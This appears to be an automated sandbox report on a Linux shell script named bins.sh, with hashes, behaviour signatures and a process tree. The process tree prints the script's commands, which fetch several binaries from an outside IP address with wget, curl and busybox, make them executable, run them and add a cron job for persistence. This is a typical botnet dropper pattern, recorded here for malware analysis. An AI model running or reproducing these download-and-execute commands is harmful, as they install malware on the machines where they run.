Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 09:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4bc8a3083ffaa5e3a7da23f488fdc787

  • SHA1

    4cf7f88aa65a6b58c37c62251fcbdcb9a32b8283

  • SHA256

    90b55680af675591c28d288b43836fcee99e2f065fae6cec1ce9092d939169c2

  • SHA512

    3375c06b2f38ac637923d987d615c47304954aa37ef94736df70fee16b225f3d4262d4358a2f890986d00b36d84bde96fce65684ccee0a6e2cf4da71b268e8ac

  • SSDEEP

    192:0vzqMMKB1qHvD++MBje2aOorTKI++MBXaOorTHfMMMKB1AvC:ozqMMKB1qIe2aOorTKTaOorT/MMMKB1P

Malware Config

Signatures

  • Contacts a large (1312) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:637
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:639
        • /usr/bin/wget
          wget http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:641
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:717
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • File and Directory Permissions Modification
          PID:745
        • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          ./J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Executes dropped EXE
          PID:746
        • /bin/rm
          rm J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
            PID:748
          • /usr/bin/wget
            wget http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Writes file to tmp directory
            PID:749
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:752
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Writes file to tmp directory
            PID:753
          • /bin/chmod
            chmod 777 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • File and Directory Permissions Modification
            PID:754
          • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            ./zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Executes dropped EXE
            PID:755
          • /bin/rm
            rm zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
              PID:757
            • /usr/bin/wget
              wget http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Writes file to tmp directory
              PID:758
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:759
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Writes file to tmp directory
              PID:762
            • /bin/chmod
              chmod 777 UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              ./UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Executes dropped EXE
              PID:764
            • /bin/rm
              rm UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
                PID:766
              • /usr/bin/wget
                wget http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Writes file to tmp directory
                PID:767
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:771
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Writes file to tmp directory
                PID:772
              • /bin/chmod
                chmod 777 EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • File and Directory Permissions Modification
                PID:773
              • /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                ./EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Executes dropped EXE
                PID:774
              • /bin/rm
                rm EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                  PID:776
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                  2⤵
                  • Writes file to tmp directory
                  PID:777
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:778
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                  2⤵
                  • Writes file to tmp directory
                  PID:779
                • /bin/chmod
                  chmod 777 ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                  2⤵
                  • File and Directory Permissions Modification
                  PID:780
                • /tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                  ./ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                  2⤵
                  • Executes dropped EXE
                  PID:781
                • /bin/rm
                  rm ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
                  2⤵
                    PID:783
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
                    2⤵
                    • Writes file to tmp directory
                    PID:784
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:787
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
                    2⤵
                    • Writes file to tmp directory
                    PID:788
                  • /bin/chmod
                    chmod 777 3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:789
                  • /tmp/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
                    ./3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:790
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:792
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:793
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:794
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:795
                        • /bin/rm
                          rm 3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
                          2⤵
                            PID:797
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn
                            2⤵
                              PID:800

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB

                            Filesize

                            111KB

                            MD5

                            ca897a38f23ec23521ce0b1b83f8422d

                            SHA1

                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                            SHA256

                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                            SHA512

                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                          • /var/spool/cron/crontabs/tmp.eWdD0N

                            Filesize

                            210B

                            MD5

                            508109b7f8c01f790d82762a83694329

                            SHA1

                            b9e2eb6a304b903dfaa4285555198a2ea6ce1e97

                            SHA256

                            25b392003b5eaedc6e756197c2f0b1e036870a649e5a25b4f9c3873b045c0b43

                            SHA512

                            937ed367c6265ab947e6aa2f2b48fccf4acff9360284efcee44fe06c7fa4989319e5f4ee2b3d7b124005d308d835051d3563e1eed8de8ce8c841da38aee18791